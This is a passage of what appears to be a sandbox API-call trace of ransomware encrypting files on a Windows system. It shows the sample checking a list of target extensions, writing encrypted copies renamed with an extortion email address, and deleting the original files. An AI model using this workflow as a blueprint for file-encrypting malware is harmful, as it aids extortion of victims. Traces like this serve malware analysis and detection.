-1 [0051.950] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0051.950] lstrlenW (lpString="oskpredbase.xml") returned 15 [0051.950] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0051.951] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=924) returned 1 [0051.951] CloseHandle (hObject=0x1cc) returned 1 [0051.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20 [0051.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0051.951] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0051.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0051.951] lstrlenW (lpString=".doc") returned 4 [0051.951] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.951] lstrlenW (lpString=".docx") returned 5 [0051.952] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0051.952] lstrlenW (lpString=".pdf") returned 4 [0051.952] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.952] lstrlenW (lpString=".xls") returned 4 [0051.952] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.952] lstrlenW (lpString=".xlsx") returned 5 [0051.952] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0051.952] lstrlenW (lpString=".ppt") returned 4 [0051.952] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0051.952] lstrlenW (lpString=".zip") returned 4 [0051.952] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.952] lstrlenW (lpString=".rar") returned 4 [0051.952] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.952] lstrlenW (lpString=".bz2") returned 4 [0051.952] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.952] lstrlenW (lpString=".7z") returned 3 [0051.952] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0051.952] lstrlenW (lpString=".dbf") returned 4 [0051.952] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0051.953] lstrlenW (lpString=".1cd") returned 4 [0051.953] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0051.953] lstrlenW (lpString=".jpg") returned 4 [0051.953] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0051.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0051.953] lstrlenW (lpString=".doc") returned 4 [0051.953] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.953] lstrlenW (lpString=".docx") returned 5 [0051.953] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0051.953] lstrlenW (lpString=".pdf") returned 4 [0051.953] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.953] lstrlenW (lpString=".xls") returned 4 [0051.953] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.953] lstrlenW (lpString=".xlsx") returned 5 [0051.953] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0051.953] lstrlenW (lpString=".ppt") returned 4 [0051.953] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0051.954] lstrlenW (lpString=".zip") returned 4 [0051.954] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.954] lstrlenW (lpString=".rar") returned 4 [0051.954] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.954] lstrlenW (lpString=".bz2") returned 4 [0051.954] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.954] lstrlenW (lpString=".7z") returned 3 [0051.954] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0051.954] lstrlenW (lpString=".dbf") returned 4 [0051.954] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0051.954] lstrlenW (lpString=".1cd") returned 4 [0051.954] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0051.954] lstrlenW (lpString=".jpg") returned 4 [0051.954] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.955] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0051.955] lstrlenW (lpString="oskpred.xml") returned 11 [0051.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0051.955] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=215) returned 1 [0051.955] CloseHandle (hObject=0x1cc) returned 1 [0051.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20 [0051.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0051.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0051.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0051.956] lstrlenW (lpString=".doc") returned 4 [0051.956] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.956] lstrlenW (lpString=".docx") returned 5 [0051.956] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0051.956] lstrlenW (lpString=".pdf") returned 4 [0051.956] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.956] lstrlenW (lpString=".xls") returned 4 [0051.956] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.956] lstrlenW (lpString=".xlsx") returned 5 [0051.956] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0051.956] lstrlenW (lpString=".ppt") returned 4 [0051.956] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0051.956] lstrlenW (lpString=".zip") returned 4 [0051.956] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.956] lstrlenW (lpString=".rar") returned 4 [0051.956] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.956] lstrlenW (lpString=".bz2") returned 4 [0051.956] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.956] lstrlenW (lpString=".7z") returned 3 [0051.957] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0051.957] lstrlenW (lpString=".dbf") returned 4 [0051.957] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0051.957] lstrlenW (lpString=".1cd") returned 4 [0051.957] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0051.957] lstrlenW (lpString=".jpg") returned 4 [0051.957] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0051.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0051.957] lstrlenW (lpString=".doc") returned 4 [0051.957] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.957] lstrlenW (lpString=".docx") returned 5 [0051.957] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0051.957] lstrlenW (lpString=".pdf") returned 4 [0051.957] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.957] lstrlenW (lpString=".xls") returned 4 [0051.957] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.957] lstrlenW (lpString=".xlsx") returned 5 [0051.958] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0051.958] lstrlenW (lpString=".ppt") returned 4 [0051.958] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0051.958] lstrlenW (lpString=".zip") returned 4 [0051.958] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.958] lstrlenW (lpString=".rar") returned 4 [0051.958] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.958] lstrlenW (lpString=".bz2") returned 4 [0051.958] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.958] lstrlenW (lpString=".7z") returned 3 [0051.958] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0051.958] lstrlenW (lpString=".dbf") returned 4 [0051.958] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0051.958] lstrlenW (lpString=".1cd") returned 4 [0051.958] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0051.958] lstrlenW (lpString=".jpg") returned 4 [0051.958] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.959] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0051.959] lstrlenW (lpString="ea-sym.xml") returned 10 [0051.959] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0051.959] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=749) returned 1 [0051.959] CloseHandle (hObject=0x1cc) returned 1 [0051.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0x20 [0051.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0051.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0051.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0051.960] lstrlenW (lpString=".doc") returned 4 [0051.960] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.960] lstrlenW (lpString=".docx") returned 5 [0051.960] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0051.960] lstrlenW (lpString=".pdf") returned 4 [0051.960] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.960] lstrlenW (lpString=".xls") returned 4 [0051.960] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.960] lstrlenW (lpString=".xlsx") returned 5 [0051.960] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0051.960] lstrlenW (lpString=".ppt") returned 4 [0051.960] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0051.960] lstrlenW (lpString=".zip") returned 4 [0051.960] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.960] lstrlenW (lpString=".rar") returned 4 [0051.960] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.961] lstrlenW (lpString=".bz2") returned 4 [0051.961] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.961] lstrlenW (lpString=".7z") returned 3 [0051.961] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0051.961] lstrlenW (lpString=".dbf") returned 4 [0051.961] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0051.961] lstrlenW (lpString=".1cd") returned 4 [0051.961] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0051.961] lstrlenW (lpString=".jpg") returned 4 [0051.961] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0051.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0051.961] lstrlenW (lpString=".doc") returned 4 [0051.961] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.961] lstrlenW (lpString=".docx") returned 5 [0051.961] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0051.961] lstrlenW (lpString=".pdf") returned 4 [0051.961] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.962] lstrlenW (lpString=".xls") returned 4 [0051.962] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.962] lstrlenW (lpString=".xlsx") returned 5 [0051.962] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0051.962] lstrlenW (lpString=".ppt") returned 4 [0051.962] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0051.962] lstrlenW (lpString=".zip") returned 4 [0051.962] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.962] lstrlenW (lpString=".rar") returned 4 [0051.962] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.962] lstrlenW (lpString=".bz2") returned 4 [0051.962] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.962] lstrlenW (lpString=".7z") returned 3 [0051.962] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0051.962] lstrlenW (lpString=".dbf") returned 4 [0051.962] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0051.962] lstrlenW (lpString=".1cd") returned 4 [0051.963] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0051.963] lstrlenW (lpString=".jpg") returned 4 [0051.963] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.963] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0051.963] lstrlenW (lpString="ja-jp-sym.xml") returned 13 [0051.963] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0051.964] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=749) returned 1 [0051.964] CloseHandle (hObject=0x1cc) returned 1 [0051.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml")) returned 0x20 [0051.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0051.965] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0051.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0051.965] lstrlenW (lpString=".doc") returned 4 [0051.965] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.965] lstrlenW (lpString=".docx") returned 5 [0051.965] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0051.965] lstrlenW (lpString=".pdf") returned 4 [0051.965] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.965] lstrlenW (lpString=".xls") returned 4 [0051.965] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.965] lstrlenW (lpString=".xlsx") returned 5 [0051.965] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0051.965] lstrlenW (lpString=".ppt") returned 4 [0051.965] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0051.965] lstrlenW (lpString=".zip") returned 4 [0051.965] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.965] lstrlenW (lpString=".rar") returned 4 [0051.966] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.966] lstrlenW (lpString=".bz2") returned 4 [0051.966] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.966] lstrlenW (lpString=".7z") returned 3 [0051.966] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0051.966] lstrlenW (lpString=".dbf") returned 4 [0051.966] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0053.118] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0054.406] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.406] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.406] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0054.407] GetLastError () returned 0x0 [0054.407] ReadFile (in: hFile=0x19c, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x545, lpOverlapped=0x0) returned 1 [0054.430] WriteFile (in: hFile=0x1a4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x550, lpOverlapped=0x0) returned 1 [0054.432] ReadFile (in: hFile=0x19c, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.432] WriteFile (in: hFile=0x1a4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xee, lpOverlapped=0x0) returned 1 [0054.432] SetEndOfFile (hFile=0x1a4) returned 1 [0054.433] CloseHandle (hObject=0x1a4) returned 1 [0054.433] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.434] SetEndOfFile (hFile=0x19c) returned 1 [0054.435] CloseHandle (hObject=0x19c) returned 1 [0054.435] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0054.436] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 1 [0054.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0054.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0054.436] lstrlenW (lpString=".doc") returned 4 [0054.436] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0054.437] lstrlenW (lpString=".docx") returned 5 [0054.437] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0054.437] lstrlenW (lpString=".pdf") returned 4 [0054.437] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0054.437] lstrlenW (lpString=".xls") returned 4 [0054.437] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0054.437] lstrlenW (lpString=".xlsx") returned 5 [0054.437] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0054.437] lstrlenW (lpString=".ppt") returned 4 [0054.437] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0054.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0054.437] lstrlenW (lpString=".zip") returned 4 [0054.437] lstrcmpiW 